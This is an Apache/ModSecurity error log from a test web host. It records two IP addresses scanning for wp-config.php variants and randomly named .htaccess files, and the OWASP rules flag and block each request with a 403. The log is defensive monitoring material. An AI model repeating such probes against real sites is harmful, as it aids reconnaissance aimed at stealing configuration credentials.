[Wed Feb 11 20:13:58.125108 2026] [:error] [pid 2024121] [client 91.219.215.168:42263] [client 91.219.215.168] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aYzU9gJ6azDFJ6ASlZ02owAAACk"]
[Wed Feb 11 20:20:53.284487 2026] [:error] [pid 2024126] [client 91.219.215.168:34909] [client 91.219.215.168] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /iyocvkly9l5vus4a2.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/IYoCVKLy9l5VUs4a2.htaccess"] [unique_id "aYzWle1SSxct7UPLzkNUlQAAAC4"]
[Wed Feb 11 20:20:53.284812 2026] [:error] [pid 2024126] [client 91.219.215.168:34909] [client 91.219.215.168] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/IYoCVKLy9l5VUs4a2.htaccess"] [unique_id "aYzWle1SSxct7UPLzkNUlQAAAC4"]
[Wed Feb 11 20:20:53.284969 2026] [:error] [pid 2024126] [client 91.219.215.168:34909] [client 91.219.215.168] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/IYoCVKLy9l5VUs4a2.htaccess"] [unique_id "aYzWle1SSxct7UPLzkNUlQAAAC4"]
[Wed Feb 11 20:20:53.594380 2026] [:error] [pid 2024140] [client 91.219.215.168:53931] [client 91.219.215.168] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /zuoy2nou314c4uj3fz.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/zUOy2nOU314c4uJ3fz.htaccess"] [unique_id "aYzWlcA9znjiC0vNsgSPmwAAADw"]
[Wed Feb 11 20:20:53.594707 2026] [:error] [pid 2024140] [client 91.219.215.168:53931] [client 91.219.215.168] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/zUOy2nOU314c4uJ3fz.htaccess"] [unique_id "aYzWlcA9znjiC0vNsgSPmwAAADw"]
[Wed Feb 11 20:20:53.595174 2026] [:error] [pid 2024140] [client 91.219.215.168:53931] [client 91.219.215.168] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/zUOy2nOU314c4uJ3fz.htaccess"] [unique_id "aYzWlcA9znjiC0vNsgSPmwAAADw"]
[Wed Feb 11 20:20:53.904975 2026] [:error] [pid 2024107] [client 91.219.215.168:53921] [client 91.219.215.168] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /hvqtrgsamxuclgsnveo.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/hvqtRGsAmxuCLgSnvEO.htaccess"] [unique_id "aYzWlWyILLO07JVugS8ltgAAABk"]
[Wed Feb 11 20:20:53.905279 2026] [:error] [pid 2024107] [client 91.219.215.168:53921] [client 91.219.215.168] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/hvqtRGsAmxuCLgSnvEO.htaccess"] [unique_id "aYzWlWyILLO07JVugS8ltgAAABk"]
[Wed Feb 11 20:20:53.905439 2026] [:error] [pid 2024107] [client 91.219.215.168:53921] [client 91.219.215.168] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/hvqtRGsAmxuCLgSnvEO.htaccess"] [unique_id "aYzWlWyILLO07JVugS8ltgAAABk"]
[Wed Feb 11 20:20:54.254897 2026] [authz_core:error] [pid 2024124] [client 91.219.215.168:58397] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htaccess
[Wed Feb 11 20:21:36.515720 2026] [:error] [pid 2024124] [client 91.219.215.168:60549] [client 91.219.215.168] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aYzWwLMub-aJlngsH40RaAAAACw"]
[Wed Feb 11 20:21:36.516053 2026] [:error] [pid 2024124] [client 91.219.215.168:60549] [client 91.219.215.168] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aYzWwLMub-aJlngsH40RaAAAACw"]
[Wed Feb 11 20:21:36.516227 2026] [:error] [pid 2024124] [client 91.219.215.168:60549] [client 91.219.215.168] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aYzWwLMub-aJlngsH40RaAAAACw"]
[Wed Feb 11 20:23:51.395607 2026] [:error] [pid 2024126] [client 91.219.215.168:47179] [client 91.219.215.168] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.malware"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aYzXR-1SSxct7UPLzkNUywAAAC4"]
[Wed Feb 11 20:23:51.395939 2026] [:error] [pid 2024126] [client 91.219.215.168:47179] [client 91.219.215.168] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aYzXR-1SSxct7UPLzkNUywAAAC4"]
[Wed Feb 11 20:23:51.396127 2026] [:error] [pid 2024126] [client 91.219.215.168:47179] [client 91.219.215.168] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aYzXR-1SSxct7UPLzkNUywAAAC4"]
[Wed Feb 11 20:23:54.974245 2026] [:error] [pid 2024107] [client 91.219.215.168:47923] [client 91.219.215.168] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.suspected"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aYzXSmyILLO07JVugS8l7QAAABk"]
[Wed Feb 11 20:23:54.974598 2026] [:error] [pid 2024107] [client 91.219.215.168:47923] [client 91.219.215.168] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aYzXSmyILLO07JVugS8l7QAAABk"]
[Wed Feb 11 20:23:54.974799 2026] [:error] [pid 2024107] [client 91.219.215.168:47923] [client 91.219.215.168] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aYzXSmyILLO07JVugS8l7QAAABk"]
[Wed Feb 11 20:30:44.044509 2026] [authz_core:error] [pid 2024127] [client 217.170.194.172:47165] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htaccess
[Wed Feb 11 20:31:14.945304 2026] [:error] [pid 2024123] [client 217.170.194.172:42337] [client 217.170.194.172] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aYzZAmV_TmUx6HQHCOr0YwAAACs"]
[Wed Feb 11 20:31:14.945625 2026] [:error] [pid 2024123] [client 217.170.194.172:42337] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aYzZAmV_TmUx6HQHCOr0YwAAACs"]
[Wed Feb 11 20:31:14.945786 2026] [:error] [pid 2024123] [client 217.170.194.172:42337] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aYzZAmV_TmUx6HQHCOr0YwAAACs"]
[Wed Feb 11 20:33:27.702509 2026] [:error] [pid 2024107] [client 217.170.194.172:45403] [client 217.170.194.172] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.malware"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aYzZh2yILLO07JVugS8mKAAAABk"]
[Wed Feb 11 20:33:27.702894 2026] [:error] [pid 2024107] [client 217.170.194.172:45403] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aYzZh2yILLO07JVugS8mKAAAABk"]
[Wed Feb 11 20:33:27.703071 2026] [:error] [pid 2024107] [client 217.170.194.172:45403] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aYzZh2yILLO07JVugS8mKAAAABk"]
[Wed Feb 11 20:33:30.313718 2026] [:error] [pid 2024126] [client 217.170.194.172:52097] [client 217.170.194.172] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.suspected"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aYzZiu1SSxct7UPLzkNVCAAAAC4"]
[Wed Feb 11 20:33:30.314073 2026] [:error] [pid 2024126] [client 217.170.194.172:52097] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aYzZiu1SSxct7UPLzkNVCAAAAC4"]
[Wed Feb 11 20:33:30.314278 2026] [:error] [pid 2024126] [client 217.170.194.172:52097] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aYzZiu1SSxct7UPLzkNVCAAAAC4"]
[Wed Feb 11 20:40:52.968201 2026] [:error] [pid 2024128] [client 217.170.194.172:60383] [client 217.170.194.172] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /b0gais2sbzv8hywpx.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/B0GAIs2SbZv8hYwPx.htaccess"] [unique_id "aYzbRFNWxGVd-kxD0-DYgQAAADA"]
[Wed Feb 11 20:40:52.968584 2026] [:error] [pid 2024128] [client 217.170.194.172:60383] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/B0GAIs2SbZv8hYwPx.htaccess"] [unique_id "aYzbRFNWxGVd-kxD0-DYgQAAADA"]
[Wed Feb 11 20:40:52.968734 2026] [:error] [pid 2024128] [client 217.170.194.172:60383] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/B0GAIs2SbZv8hYwPx.htaccess"] [unique_id "aYzbRFNWxGVd-kxD0-DYgQAAADA"]
[Wed Feb 11 20:40:53.302803 2026] [:error] [pid 2024107] [client 217.170.194.172:50339] [client 217.170.194.172] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /8by2hymom6urq2nbkz.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/8by2HymOM6uRq2NBKZ.htaccess"] [unique_id "aYzbRWyILLO07JVugS8mMQAAABk"]
[Wed Feb 11 20:40:53.303099 2026] [:error] [pid 2024107] [client 217.170.194.172:50339] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/8by2HymOM6uRq2NBKZ.htaccess"] [unique_id "aYzbRWyILLO07JVugS8mMQAAABk"]
[Wed Feb 11 20:40:53.303261 2026] [:error] [pid 2024107] [client 217.170.194.172:50339] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/8by2HymOM6uRq2NBKZ.htaccess"] [unique_id "aYzbRWyILLO07JVugS8mMQAAABk"]
[Wed Feb 11 20:40:53.632304 2026] [:error] [pid 2024123] [client 217.170.194.172:52445] [client 217.170.194.172] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /kye4kg0kuoopmpptntn.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/KyE4kg0kuOOpMPPTNTN.htaccess"] [unique_id "aYzbRWV_TmUx6HQHCOr0lgAAACs"]
[Wed Feb 11 20:40:53.632681 2026] [:error] [pid 2024123] [client 217.170.194.172:52445] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/KyE4kg0kuOOpMPPTNTN.htaccess"] [unique_id "aYzbRWV_TmUx6HQHCOr0lgAAACs"]
[Wed Feb 11 20:40:53.632853 2026] [:error] [pid 2024123] [client 217.170.194.172:52445] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/KyE4kg0kuOOpMPPTNTN.htaccess"] [unique_id "aYzbRWV_TmUx6HQHCOr0lgAAACs"]
[Wed Feb 11 20:40:53.959425 2026] [authz_core:error] [pid 2024136] [client 217.170.194.172:53493] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htaccess
[Wed Feb 11 20:41:35.737790 2026] [:error] [pid 2024128] [client 217.170.194.172:51155] [client 217.170.194.172] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aYzbb1NWxGVd-kxD0-DYjgAAADA"]
